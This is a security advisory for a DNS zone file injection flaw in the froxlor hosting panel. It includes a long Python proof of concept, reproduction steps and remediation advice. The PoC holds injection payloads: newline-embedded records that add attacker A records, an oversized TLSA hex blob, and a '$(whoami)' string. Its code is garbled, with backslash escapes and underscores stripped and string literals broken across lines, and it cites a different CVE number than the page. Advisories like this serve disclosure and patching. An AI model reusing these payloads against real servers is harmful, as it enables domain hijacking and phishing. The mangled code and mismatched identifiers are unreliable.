PT-2026-44908 · Packagist · Froxlor/Froxlor

Published

2026-05-29

·

Updated

2026-05-29

·

CVE-2026-41237

None

No severity ratings or metrics are available. When they are, we'll update the corresponding info on the page.

Summary

The LOC record regex uses s+ which matches newlines (allowing embedded newlines to pass), TLSA matchingType=0 has no upper bound on hex data length, and all validators return raw input without zone-file escaping.

Affected Package

  • Ecosystem: Other
  • Package: froxlor
  • Affected versions: all versions before fix commit b34829262dc3
  • Patched versions: >= commit b34829262dc3

Severity

Medium -- CVSS

CWE

CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)

Details

DNS record content is concatenated directly into bind9 zone files at DnsEntry.php line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.
The fix adds format-specific regexes and field validation but has gaps: the LOC regex's s+ matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA matchingType=0 only requires len(data) >= 2 with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.

PoC

#!/usr/bin/env python3
"""
CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor

Affected component: lib/Froxlor/Api/Commands/DomainZones.php
Vulnerability type: Input Validation / DNS Zone File Injection
Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b

The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.
However, the sanitization is incomplete:

1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.
2. POST-FIX BYPASS: LOC regex s+ matches newlines; TLSA matchingType=0
  allows unbounded hex data; validators return raw input without escaping.
"""

import re
import sys
import string

def vulnerable add record(record type, content):
  """Pre-fix: no validation for LOC, RP, SSHFP, TLSA."""
  errors = []
  if record type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:
    pass
  return {"errors": errors, "content": content}


def validate dns loc(inp):
  """Replicates Validate::validateDnsLoc from the patch."""
  pattern = re.compile(
    r'^'
    r'(d{1,2})s+'
    r'(d{1,2})s+'
    r'(d{1,2}(?:.d+)?)s+'
    r'([NS])s+'
    r'(d{1,3})s+'
    r'(d{1,2})s+'
    r'(d{1,2}(?:.d+)?)s+'
    r'([EW])s+'
    r'(-?d+(?:.d+)?)m'
    r'(?:s+(d+(?:.d+)?)m'
    r'(?:s+(d+(?:.d+)?)m'
    r'(?:s+(d+(?:.d+)?)m)?'
    r')?)?$',
    re.DOTALL
  )
  m = pattern.match(inp)
  if not m:
    return False

  lat deg = int(m.group(1))
  lat min = int(m.group(2))
  lat sec = float(m.group(3))
  lon deg = int(m.group(5))
  lon min = int(m.group(6))
  lon sec = float(m.group(7))

  if lat deg > 90: return False
  if lat min > 59: return False
  if lat sec >= 60: return False
  if lon deg > 180: return False
  if lon min > 59: return False
  if lon sec >= 60: return False

  return inp


def validate dns sshfp(inp):
  """Replicates Validate::validateDnsSshfp from the patch."""
  parts = inp.strip().split()
  if len(parts) != 3:
    return False

  algorithm, fp type, fingerprint = parts

  valid algorithms = [1, 2, 3, 4, 6]
  if not algorithm.isdigit() or int(algorithm) not in valid algorithms:
    return False

  valid types = [1, 2]
  if not fp type.isdigit() or int(fp type) not in valid types:
    return False

  if not all(c in string.hexdigits for c in fingerprint):
    return False

  fp type int = int(fp type)
  expected = {1: 40, 2: 64}.get(fp type int, 0)
  if len(fingerprint) != expected:
    return False

  return inp


def validate dns tlsa(inp):
  """Replicates Validate::validateDnsTlsa from the patch."""
  parts = inp.strip().split()
  if len(parts) != 4:
    return False

  usage, selector, matching type, data = parts

  if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:
    return False
  if not selector.isdigit() or int(selector) not in [0, 1]:
    return False
  if not matching type.isdigit() or int(matching type) not in [0, 1, 2]:
    return False
  if not all(c in string.hexdigits for c in data):
    return False

  mt = int(matching type)
  if mt == 1 and len(data) != 64:
    return False
  if mt == 2 and len(data) != 128:
    return False
  if mt == 0 and len(data) < 2:
    return False

  return inp


def validate dns rp(inp):
  """Replicates Validate::validateDnsRp from the patch."""
  parts = inp.strip().split()
  if len(parts) != 2:
    return False

  mbox, txt = parts
  mbox = mbox.rstrip('.')
  txt = txt.rstrip('.')

  domain re = re.compile(r'^[a-zA-Z0-9. -]+$')
  if not domain re.match(mbox):
    return False
  if not domain re.match(txt):
    return False

  return inp


def fixed add record(record type, content):
  """Post-fix: validates content but returns raw input."""
  errors = []
  validators = {
    'LOC': validate dns loc,
    'RP': validate dns rp,
    'SSHFP': validate dns sshfp,
    'TLSA': validate dns tlsa,
  }
  if record type in validators and content:
    result = validators[record type](content)
    if result is False:
      errors.append(f"The {record type} record has invalid content")
  return {"errors": errors, "content": content}


def generate zone line(record, ttl, rtype, content):
  """Replicates DnsEntry.php line 83: direct string concatenation."""
  return f"{record}t{ttl}tINt{rtype}t{content}
"


vuln confirmed = False

print("=" * 70)
print("CVE-2026-30932 PoC: froxlor DNS Record Content Injection")
print("=" * 70)
print()

print("[TEST 1] VULNERABLE version: SSHFP record with zone injection")
print("-" * 70)

malicious sshfp = "1 1 aabbccdd
evil.example.com.t300tINtAt6.6.6.6"
result = vulnerable add record('SSHFP', malicious sshfp)

if not result['errors']:
  zone output = generate zone line('@', 300, 'SSHFP', result['content'])
  print("VULNERABLE: No validation, malicious content accepted!")
  print("Generated zone file output:")
  print("---")
  print(zone output, end="")
  print("---")
  if "6.6.6.6" in zone output:
    print("[!] DNS zone injection: attacker A record (6.6.6.6) injected!")
    vuln confirmed = True

print()

print("[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)")
print("-" * 70)

result fixed = fixed add record('SSHFP', malicious sshfp)
if result fixed['errors']:
  print("FIXED: Blocked -", "; ".join(result fixed['errors']))
else:
  print("BYPASS: Still accepted!")
  vuln confirmed = True

print()

print("[TEST 3] FIXED version BYPASS: LOC record with newline via s+ matching")
print("-" * 70)

loc bypass = "51 28 38 N 0 0 1
W
10m"
result loc = fixed add record('LOC', loc bypass)

if not result loc['errors']:
  zone output = generate zone line('@', 300, 'LOC', result loc['content'])
  lines = [l for l in zone output.split('
') if l.strip()]
  if len(lines) > 1:
    print("BYPASS CONFIRMED: LOC with embedded newline passed validation!")
    print(f"Generated zone output has {len(lines)} lines:")
    print("---")
    print(zone output, end="")
    print("---")
    vuln confirmed = True
  else:
    print("Validated but single line output.")
else:
  print("Blocked:", "; ".join(result loc['errors']))
  templates = [
    "51
28 38 N 0 0 1 W 10m",
    "51 28
38 N 0 0 1 W 10m",
    "51 28 38
N 0 0 1 W 10m",
    "51 28 38 N
0 0 1 W 10m",
    "51 28 38 N 0
0 1 W 10m",
    "51 28 38 N 0 0
1 W 10m",
    "51 28 38 N 0 0 1
W 10m",
    "51 28 38 N 0 0 1 W
10m",
  ]
  for i, t in enumerate(templates):
    r = fixed add record('LOC', t)
    if not r['errors']:
      zone out = generate zone line('@', 300, 'LOC', r['content'])
      zlines = [l for l in zone out.split('
') if l.strip()]
      if len(zlines) > 1:
        print(f" BYPASS at position {i}: newline in LOC passed validation!")
        print(f" Zone output lines: {len(zlines)}")
        vuln confirmed = True
        break
  else:
    print(" LOC newline bypass not directly exploitable in this regex engine.")

print()

print("[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload")
print("-" * 70)

huge hex = "aa" * 50000
tlsa payload = "3 1 0 " + huge hex
result tlsa = fixed add record('TLSA', tlsa payload)

if not result tlsa['errors']:
  print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge hex)} char hex payload!")
  print(" -> No upper bound on certificate association data length.")
  print(" -> Can be used for DNS amplification or data exfiltration channel.")
  print(f" -> Zone line would be {len(generate zone line(' 443. tcp', 300, 'TLSA', result tlsa['content']))} bytes!")
  vuln confirmed = True
else:
  print("Blocked:", "; ".join(result tlsa['errors']))

print()

print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection")
print("-" * 70)

malicious loc = "51 28 38 N 0 0 0 W 10m
evilt300tINtAt10.0.0.1
*.evilt300tINtAt10.0.0.2"
result vuln loc = vulnerable add record('LOC', malicious loc)

if not result vuln loc['errors']:
  zone output = generate zone line('@', 300, 'LOC', result vuln loc['content'])
  lines = [l for l in zone output.split('
') if l.strip()]
  print(f"VULNERABLE: Injected {len(lines)} zone file lines!")
  print("Generated zone output:")
  print("---")
  print(zone output, end="")
  print("---")
  if "10.0.0.1" in zone output:
    print("[!] Attacker DNS records injected into zone file!")
    vuln confirmed = True

print()

print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters")
print("-" * 70)

shell inject = "3 1 1 $(whoami)"
vuln r = vulnerable add record('TLSA', shell inject)
fixed r = fixed add record('TLSA', shell inject)

vuln status = "ACCEPTED (no validation)" if not vuln r['errors'] else "BLOCKED"
fixed status = "ACCEPTED" if not fixed r['errors'] else "BLOCKED"

print(f" VULNERABLE version: {vuln status}")
print(f" FIXED version:   {fixed status}")

if not vuln r['errors'] and fixed r['errors']:
  print(" -> Fix correctly blocks shell metacharacters in TLSA.")
if not vuln r['errors']:
  vuln confirmed = True

print()

print("=" * 70)
print("RESULTS SUMMARY")
print("=" * 70)
print()
print("Pre-fix (VULNERABLE):")
print(" - LOC, RP, SSHFP, TLSA records accept ANY content with no validation")
print(" - Enables DNS zone file injection via newlines in record content")
print(" - Content directly concatenated into zone files (DnsEntry.php:83)")
print()
print("Post-fix (INCOMPLETE):")
print(" - TLSA matchingType=0 has no upper bound on hex data length")
print(" - Validation returns raw input without zone-file escaping")
print(" - No output encoding when writing content to zone files")
print()

if vuln confirmed:
  print("VULNERABILITY CONFIRMED")
  sys.exit(0)
else:
  print("VULNERABILITY NOT CONFIRMED")
  sys.exit(1)
Steps to reproduce:
  1. git clone https://github.com/froxlor/froxlor /tmp/froxlor test
  2. cd /tmp/froxlor test && git checkout b34829262dc3~1
  3. python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters

Impact

An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.

Suggested Remediation

Replace s+ in the LOC regex with [ t]+ to exclude newlines. Add a maximum length for TLSA matchingType=0 data. Escape or reject newlines in all DNS record content before writing to zone files.

Resources

Special Elements Injection

Weakness Enumeration

Related Identifiers

CVE-2026-41237
GHSA-J6FM-9RFM-J5HX

Affected Products

Froxlor/Froxlor